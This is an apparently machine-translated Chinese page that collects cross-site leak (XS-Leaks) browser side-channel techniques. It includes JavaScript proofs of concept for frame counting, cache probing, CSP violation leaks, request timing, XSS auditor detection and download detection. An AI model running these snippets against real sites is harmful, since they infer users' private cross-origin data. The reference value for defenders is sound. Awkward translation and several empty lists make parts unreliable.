有一些众所周知的DOM API泄漏了跨源信息。
该窗口DOM API文档如何在跨源窗口遍历(在其他浏览上下文)。其中之一是文档中的帧数(window.length)。
let win /*Any Window reference, either iframes, opener, or open()*/;win.frames.length;
在某些情况下,不同的状态具有相同的帧数,从而阻止我们正确地对它们进行分类。
在这些情况下,您可以尝试连续记录帧数,因为它可以导致您可以使用的模式,用于计时某些里程碑或在应用程序加载时检测帧计数中的异常。
const tab = window.opener; // Any Window referenceconst pattern = [];tab.location = 'https://target';const recorder = setInterval(() => pattern.push(tab.frames.length), 0);setTimeout(() => { clearInterval(recorder); console.log(pattern);
}, 6 * 1000);
在历史DOM API的历史对象可以知道文件存在于用户的历史有多少项。此泄漏可用于检测跨源页面何时具有某些类型的导航(例如,通过history.pushState或仅正常导航的那些)。
请注意,为了检测可以iframed的页面上的导航,可以只计算onload事件被触发的次数(请参阅帧定时),如果页面不能在帧内,则此机制可以是有用。
history.length; // leaks if there was a javascript/meta-refresh redirect
对于大多数加载子资源的HTML元素,具有在响应错误(例如,错误500,404等)的情况下触发的错误事件以及解析错误。
人们可以通过两种方式滥用这一点:
在获取子资源(除非缓存)时“强制”错误的一种方法是强制服务器根据不属于缓存键的数据拒绝请求。有几种方法可以做到这一点,例如:
由于浏览器只会在缓存中没有内容时发出HTTP请求,因此可以注意到:
缓存探测是众所周知的攻击,并且一些浏览器一直在考虑为每个源提供单独的缓存存储,但目前没有其他解决方案可用。
出于演示目的,这里是一些使用overlong HTTP referrer的示例代码。
<iframe id=f></iframe>
<script>(async ()=>{ let url = 'https://otherwebsite.com/logo.jpg'; // Evict this from the cache (force an error). history.replaceState(1,1,Array(16e3)); await fetch(url, {cache: 'reload', mode: 'no-cors'}); // Load the other page (you can also use <link rel=prerender>) // Note that index.html must have <img src=logo.jpg> history.replaceState(1,1,'/'); f.src = 'http://otherwebsite.com/index.html'; await new Promise(r=>{f.onload=r;}); // Check if the image was loaded. // For better accuracy, use a service worker with {cache: 'force-cache'} history.replaceState(1,1,Array(16e3)); let img = new Image(); img.src = url; try { await new Promise((r, e)=>{img.onerror=e;img.onload=r;}); alert('Resource was cached'); // Otherwise it would have errored out } catch(e) { alert('Resource was not cached'); // Otherwise it would have loaded }})();</script>
发生CSP违规时创建的CSP的Violation DOM事件对象包括被阻止的主机。此泄漏可用于了解跨源页面重定向到哪个域。
<meta http-equiv="Content-Security-Policy" content="default-src 'unsafe-inline' example.com">
<script>document.addEventListener('securitypolicyviolation', e => { // goes through here if a 3xx redirect to another domain happened console.log(e.blockedURI);});fetch('https://example.com/redirect', {mode: 'no-cors',credentials: 'include'});</script>
图像,视频,音频和一些其他资源允许测量它们的持续时间(在视频和音频的情况下)和大小(对于图像)。
对于时间安排,我们必须考虑两个因素:
为了抵御这些攻击,浏览器试图限制在窗口/起源之间泄漏的信息量,并且在某些情况下,还试图限制用于测量时间的不同机制的准确性。
最常用的测量时间机制是:
这种类型的测量可以通过严格模式下的同站点cookie(对于GET请求)或松弛模式(对于POST请求)来缓解。在松散模式下使用同站点cookie并不安全,因为定时导航请求可以绕过它。
let before = performance.now()
await fetch("//mail.com/search?q=foo")
let request_time = performance.now() - before
在chrome中,可以使用网络池计算另一个窗口/文档发出的HTTP请求数。为此,攻击者需要两个窗口/文档。
窗口A:
窗口B:
这些技术用于测量导航请求加载所需的时间。
这对于测量在松弛模式下受相同站点cookie保护时加载GET请求所需的时间非常有用。这可以通过严格模式下的同站点cookie来缓解。
此机制等待所有子资源完成加载。请注意,在设置X-Frame-Options
标题的页面中,此机制只能用于测量网络请求,因为不会测量子资源。需要注意的是之间的差别onerror
,并onload
往往是同样重要的,还有的时候被触发每个事件的数量,因为这表明许多导航怎么发生的iframe内。
<iframe name=f id=g></iframe>
<script>h = performance.now();f.location = '//mail.com/search?q=foo';g.onerror = g.onload = ()=>{ console.log('time was', performance.now()-h)};</script>
当一个页面使用这种机制是唯一有用的X-Frame-Options
和问津上装载的子资源,或在JavaScript代码等攻击执行(如建立的开始时间跨文档请求定时或多线程的JavaScript)。
为了防止这种类型的攻击,未来可能会使用Cross-Origin-Opener-Policy。
let w=0, z=0, v=performance.now();onmessage=()=>{ try{ if(w && w.document.cookie){ // still same origin
} postMessage('','*');
}catch(e){
z=performance.now(); console.log('time to load was', v-z);
}
};postMessage('','*');
w=open('//www.google.com/robots.txt');
测量JavaScript执行对于了解何时触发某些事件以及某些操作需要多长时间非常有用。
例子:
在Chrome以外的浏览器中,所有JavaScript代码(甚至是跨源代码)都在同一个线程中运行,这意味着可以通过测量代码在事件池中下一次运行所需的时间来衡量代码在另一个源中运行的时间长度。
在Chrome中,每个站点都在不同的进程中运行,每个进程都有自己的线程,这意味着为了测量另一个线程中JavaScript执行的时间,我们必须以不同的方式对其进行测量。一种方法是通过:
有时候浏览器会将漏洞视为漏洞,有时则会根据时间进行测量。无论如何,通过使用CORB和CORP,有时可以(顺便)防御这种类型的攻击。由于它们的实现也打破了一些API。
例子:
FLASH
当前用于了解跨站点请求大小的公共机制是使用Flash。
通过滥用Cache API和单个源接收的配额,可以测量单个响应的大小。为了防止此攻击,浏览器会在配额计算中添加随机噪声。
尽管它需要更多的请求,但仍然可以在添加噪声的情况下执行攻击。
通过滥用Cache API和浏览器的缓存,可以测量从不同级别的缓存加载简单请求所需的时间。假设响应时间越长,加载时间越长。通过滥用技术(例如“膨胀”响应大小),可以通过更加可测量的时间来改变差异。
如果可以触发并检测XSS滤波器误报,那么可以找出特定元素的存在。这意味着如果可以检测过滤器是否被触发,那么我们可以检测两个页面中由XSS过滤器阻止的元素的任何差异。在阻塞模式下启用时,更容易检测到XSS过滤器,因为它会阻止页面及其所有子资源的加载,从而使所有浏览器端通道更加明显。
可以通过计算导航在更改时发生的次数来触发检测XSS过滤器(在阻塞模式下)的一种方法location.hash
。
X-Frame-Options
),那么可以计算在导航到具有不同的URL的同一URL之后发生加载事件的次数location.hash
。如果触发了XSS过滤器,则数字将为2,否则为1。location.hash
更改不会触发网络请求,因此通过将页面导航到具有不同的URL location.hash
,然后将其导航到about:blank
,然后触发history.back()
,如果触发网络请求history.length
。通过快速更改另一个窗口的位置,在浏览器有机会进行导航之前,但有足够的时间进行更改location.hash
,可以计算出有多少条目存在history.length
(3表示过滤器未触发时,2表示当时所做的那样)。历史长度攻击的示例代码。
let url = '//victim/?falsepositive=<script>xxxxx=1;';let win = open(url);// Wait for the window to be cross-originawait new Promise(r=>setInterval(()=>{try{win.origin.slice()}catch(e){r(e)}},1));// Change the locationwin.location = url + '#';// Skip one microtaskawait Promise.resolve(1);// Change the location to same-originwin.location = 'about:blank';// Wait for the window to be same-originawait new Promise(r=>setInterval(()=>r(win.document.defaultView),1));// See how many entries exist in the historyif (win.history.length == 3) { // XSS auditor did not trigger} else if (win.history.length == 2) { // XSS auditor triggered}
某些端点响应内容处置标头设置为“附件”,强制浏览器将响应下载为文件。在某些情况下,检测文件是否在某个端点上下载的能力可能会泄漏有关当前用户的信息。
当基于Chromium的浏览器下载文件时,底栏会集成到浏览器窗口中。通过监控窗口高度,我们可以检测“下载栏”是否打开。
// Any Window reference (can also be done using an iframe in some cases)const tab = window.opener;// The current window heightconst screenHeight = window.innerHeight;// The size of the chrome download bar on mac os xconst downloadsBarSize = 49;tab.location = 'https://target';setTimeout(() => { let margin = screenHeight - window.innerHeight; if (margin === downloadsBarSize) { return console.log('downloads bar detected');
}
}, 5 * 1000);
测试内容处置的另一种方法是:附件标题是检查导航是否重定向了页面。至少在Chrome中,如果页面加载触发下载,则不会触发导航。
泄漏将大致如下:
还有另一种方法可以在不使用任何超时的情况下检测下载尝试是否发生,这有助于同时执行数百个请求而无需担心不准确的时序。观察结果是,即使下载尝试没有触发onload
事件,窗口仍然“等待”下载资源。因此,可以在iframe中包含iframe以进行检测window.onload
,然后由于下载不会触发iframe指向的导航about:blank
,因此可以区分原点。
onmessage = e => console.log(e.data);var ifr = document.createElement('iframe');var url = 'http://bug.bounty/Examples/file.php';ifr.src = `data:text/html,\ <iframe id='i' src="${url}" ></iframe> <script>onload=()=>{ try{ i.contentWindow.location.href; top.postMessage('download attempt','*'); }catch(e){ top.postMessage('no download','*'); } }%3c/script>`;ifr.onload = ()=>{ifr.remove();}document.body.appendChild(ifr);
的对象DOM API,这些文件object
元件可以根据被加载Content-type
报头。
该typemustmatch
属性是布尔属性,其存在性表示data
仅当type属性的值Content-Type
与上述资源的值匹配时才使用属性指定的资源。
目前,基于Chromium的浏览器不支持该属性,typemustmatch
但Firefox 支持该属性。
此功能可用于确定响应是否具有,Content-type: text/html
因为如果嵌入对象成功加载,则帧数将增加。
值得一提的是,typemustmatch
还确保服务器使用200 OK
标头响应,否则将不会加载资源。因此,也可以检测错误页面。
此外,如果对象未加载,其高度和宽度等于0并且大于其他情况。这允许检测响应的任何内容类型并区分错误页面。
let url = 'https://example.org'let mime = 'application/json'let x = document.createElement('iframe');x.src = `data:text/html,<object id=obj type="${mime}" data="${url}" typemustmatch><script>onload = ()=>{console.log(obj.clientHeight)}%3c/script></object>`;document.body.appendChild(x);
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.